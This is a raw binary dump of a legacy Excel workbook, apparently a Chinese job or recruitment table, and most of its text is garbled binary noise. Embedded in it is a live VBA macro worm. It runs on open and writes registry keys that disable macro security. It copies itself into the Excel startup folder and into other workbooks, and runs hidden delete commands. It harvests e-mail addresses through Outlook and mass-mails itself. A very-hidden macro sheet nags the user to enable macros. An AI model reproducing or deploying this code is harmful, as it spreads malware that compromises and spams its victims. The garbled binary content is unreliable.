ࡱ> !%  "#$&='(.*+,-70123456)F9:;<I?@ABCDE8GHJRoot Entry F۫pևQ Workbook7ETExtDataMBD001CC115VQ VQ   !"#$%&()*+,-./0123456789:;=>?@ABCDEFGHIKLMNOPQRUVWXYZ[]^_`abdefghijkln N) A.  A.  .A  .A U\g<INPUT TYPE="hidden">_VBA_PROJECT_CUR"VQ pևQ Ctls :VBAVQ iχQ ThisWorkbook  \pLenovo Ba= ThisWorkbook=< 8X@"1[SO10[SO10[SO10[SO1 [SO1$[SO1[SO1NSe-N[1NSe-N[1[SO1?Arial+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)"Yes";"Yes";"No""True";"True";"False""On";"On";"Off"],[$ -2]\ #,##0.00_);[Red]\([$ -2]\ #,##0.00\)                   , * + )   8@ @ 8@ @  8 8 8@ @    8 8@@ 8@ 8 @  8@ @ 8@ @  8@ @  `  NNUSMONMb_ۏlQJTVV  ;"W"O;r+@=#;raR j}xڭTNAfHbcH$BTtE@_\Ё%Op5O H@^J葎d)Enof#gUOE6}/ /`vd10]nkkȮ"ps>_l/\ʶ$oF1 2FD"b^ }upIM=>e{n3 A@@  Bg8uS;Sb 7>e\~ʋe;Su 7;Sf[{|b!h 7,gySN N 7>e\;Sf[0;Sf[q_Pf[I{vsQNN 7 CTʋeb8hxʋe;Su 73;Uy;Su 7 4N^;Sf[b3;UvsQNN 7211] zb!h 7 NP 7g8uSTaNG 7\ugrzzXT 7 Rir;Sf[bRiryf[NN 7QNzzXT 7 g8uS[hQuNvcw{t@\ 7NNb/g\MO 7985] zb!h 7Nh,gySN N 7 Sf[0[hQ] zI{vsQNN 7 hQe6RxvzuOHQQ 72013t^g8uSNNUSMO%`(uNMb_ۏR 7^SBl\MO TyBlpeϑ \ MO Bl ag NvQ N;N bXb!hf[S?el bNNLNDkNNUSMO 7wQ ggbN;S^ 7 g8uSe8n{tvsQUSMO 7]\ONXT 7 NP 7^J\ 7e8n{tvsQNN 7 0Wf[b0WvKmI{vsQNN 7g8uS[@\ 7 211  985 bhQe6RxvzuOHQQ 7 211  985 bhQe6RxvzuOHQQ 7 ] z NNN 7[f[NN 7 g8uS0WR 7J Hl'tS VT]cc  ^-(u/5  dMbP?_*+% &LDN1 &C&10&P&i4F?'i4F?(M&d2?)M&d2?M\\YL-201206211722\HP LaserJet 4 4XX\  fhQ\%ffPge\NMb]\O-NMbR\20SDDMHP LaserJet 1020 -(d" dX `? BP(?U} }  }  } @}  } } }  } } `} @}  ^  @ @ @ @  @ @ @ @ @ @ @ @ @ @ @ @ v@ v@ v@ v@ v@ v@ v@ v@ v@ v@ v@ v@ v@ v@ v@  # $! $ $  !!!!"  %#$$$        %~ ? A #~ ? 8 $  ;    =~ @ < ~ ? 8 $  @    >~ @ 0 1~ ? 8 $  ?    >~ @ 0 1~ ?  $  2  &  '~ @ ) *~ ? ( $  +  &  ,~ @   ~ @  $     &  '~ @   ~ @  $  +  & '~  @  ~ ?      3 ~ "@ " #~ @  $  %  & '~ $@ - #~ ?  $  . /  '~ &@ 6 7~ @ 8  8 :  9 '~ (@  ~ ?     5    4~ *@  ~ ?     5    4~ ,@  ~ ?     5    4               D l,hp  v@! v@" v@# v@$ v@% v@& v@' v@( v@) v@* v@+ v@, v@- v@. v@/ v@0 v@1 v@2 v@3 v@4 v@5 v@6 v@7 v@8 v@9 v@: v@; v@< v@= v@> v@? v@  ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? Dl @ v@A v@B v@C v@D v@E v@F v@G v@H v@I v@J v@K v@L v@M v@N v@O v@P v@Q v@R v@S v@T v@U v@V v@W v@X v@Y v@Z v@[ v@\ @] @@ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] @D (  ^  c $A =C ?@]^`H +1 4"<Forms.HTML:Hidden.1:>@<   :   7 Sheet1 \cd##Aw{(iFUKI' &xME [LSS<<<(<,<<< <$<0<4<8<<<N0{00020819-0000-0000-C000-000000000046}H(%H` % %xx8T@ 8`dD` 8`\DPd x xXXX8XL % Yxx%x ` YxP@0t @p (t @d 8h8@TT Attribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046} |GlobalSpacFalse dCreatablPredeclaIdTru BExposeTemplateDerivBustomizD2*:*d"cSheet1 ' _VBA_PROJECT/dir<__SRP_0 >@,؆>GŐ F8zKeMƋ㭏x&HTMLHidden1, 1, 0, MSForms, HTMLHiddenME(SLSSsN0{00020820-0000-0000-C000-000000000046}(%H` % %` %*h8@HH*\R8005*#83xհAttribute VB_Name = "She@et1" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2ControlHTMLHidden1, 0, MSForms, |0* pHd VBAProject4@j = r $R J< rstdole>stdole h%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\syst em32\e2.tlb#OLE Automation`EOffDicEOficEE2DF8D04C-`Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2(`VS_`VERSION` CreateObject`WRegy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf` Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`_Defaultj`xx_` Workbook_open`xx_workbookOpenPZ` References` AddFromGuidA{`GUID`Major'`Minora` Worksheet` _B_var_Chr\;`_B_str_Environ` _B_var_UCasea` _B_var_Time$` _B_var_TrimmT`_B_var_Environ/` _B_var_Midp`MSFormsC` HTMLHidden1V`l$5BFA-101B-BDE5EAAC42Egram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#M 1@1.0 Ob LibraryK VBIDE>BIDEE157R5.3R/\6E6EXT.OLB0Visual Basic for Applicas Extensibilpity +@MSFor ms>SFrms$3@B6D452EE1-E0D8FfA-8-02608C4D0BB4FM260L]B \/;"1TTG}#0B#G 50 A1544E354-1E4A-413C-B16A822A5=BB96DOCUME~1\hzdn\LOCALS@Temp\Exc`el8.0B7.xexd45@.E .`M "bday *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3*\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\WINDOWS\system32\FM20.DLL#Microsoft Forms 2.0 Object Library *\G{1544E354-1E4A-413C-B16C-5822A5D45BB9}#2.0#0#C:\DOCUME~1\hzdn\LOCALS~1\Temp\Excel8.0\MSForms.exd#Microsoft Forms 2.0 Object Library.E .`M  $RdThisWorkbook0252ed249dThisWorkbook# Sheet10552ed249d Sheet1"00P%j~lDơש9%uKbt  6d0EnameExcel+`VBA`Win16~`Win32`Mac`VBA6#`1p`stdole`` VBAProject`Officeu` ThisWorkbook|` _Evaluate`Sheet1`VBIDEA`ģ1c`ToDOLEŝ` auto_openV ` Application*` DisplayAlerts`path2` StartupPathi`ScreenUpdating! `delete_this_wk}`copytoworkbooke`Sheets ` Movemacro4@`Save`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines`VBProj`VBCompӜ` VBComponent`CodeMod}O` DeleteLines ` CountOfLines!\`do_what`RestoreAfterOpen`OpenDoor`Microsofthobby ` ActionJudgeBG` copystart `wb_`Workbookk`VBProj1F`VBProj2G` WorkbooksB` copymodule` ModuleName#>` FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`filenamej`InStrRevĈ`Importi`vbext_ct_Document byThisWorkbookG`T zi6WB7kbok*2` H1b"E,#""+bSheetT1G Se`{t1 !2 0` " rU~~~~~~s  !Qwb ModuleName Q FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookName Email_AddressSubjectBody CC_email_add AttachmenscRiPTinG.fiLEsysTeMoBjEcT XHKEY_CURRENT_USER\Software\Microsoft\Office\ 4\Excel\Security\AccessVBOM *\Excel\Security\Level ZHKEY_LOCAL_MACHINE\Software\Microsoft\Office\ REG_DWORD   WScript.Shell RegWrite \k4.xls k4.xlsF comspec $ /c attrib -S -h " \K4.XLS"  /c Del /F /Q "  /c RD /S /Q "  Aw{(iUKI' & X  10:00:00 11:00:00 14:00:00 15:00:00 XHKEY_CLASSES_ROOT\mailto\shell\open\command\RegRead OUTLOOK.EXE <D:\Collected_Address:frag1.txt 1 n <D:\Collected_Address:frag2.txtNJիL^CҒ 8D:\Collected_Address\log.txt   d @  `zF ToDolefĤIx8< Temp \ .bas .! OĦ             x @t'RTO͗؍a;{Ew3!QK.0L?8GrM_߱UqrKժy+.JV=q0_KZ ]{PoJ`ecH[-B5[=?5=HK7 j GM;Hi-k,؆>GŐ8zKeMƋ㭏@C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6.DLL q Y0.E .`M C:\WINDOWS\system32\FM20.DLLMSForms A1A1i11 TDJPROJECTwmS>PROJECT TSummaryInformation(\K*yrU~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~X +ξ4CI}1   )0! )Q11 VBAProject ThisWorkbookSheet1ģ1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA q 0F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel i @0FC:\WINDOWS\system32\stdole2.tlbstdole yPL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice a`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE 9p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymodule OĦMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FF9 a FHdAC@OhFG#% ]J%{!4DFWorkbook @Fname Macro19  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next BApplication.DisplayAlerts = False A5xx Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3 DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueF=ՈxJY Q FYi/GXIDF Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4 =ALERT("y(u[ sQ  0Please Enable Macro!",3) $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLL `  " (D_pBpW0xrmnuL/51KDF Workbook_openxx_workbookOpen H88 A1:F15 Range Value CONFIDENTIAL Deleteܤ?tNؤ|b3wJ@|M\ 4tlengthFullPathFragMarkpathf !Q ( !8 !)Hxx ! XThisWorkbookThisWorkbookSheet1Sheet1ID="{D9A6AE6F-6288-478E-A58A-BB3084488423}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="EFED0E6E0EAEAAB2AAB2AAB2AAB2" DPB="8F8D6ECEAECE4FCF4FCF4F" GC="2F2DCEAECEEE6FEF6FEF90" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 &H00000002={00020818-0000-0000-C000-000000000046};Excel8.0;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Oh+'0t   $ 0 < HT\dl your nameLenovoMicrosoft Excel@ 5O@r=@[}-@]Q ՜.+,D՜.+,  $ ,4<D L corpDocumentSummaryInformation8cpCompObjmj ҵλ˲"ҵλ˲!Print_Titles  Χ` ?GKSOProductBuildVer2052-8.1.0.3089 FMicrosoft Office Excel Biff8Excel.Sheet.89q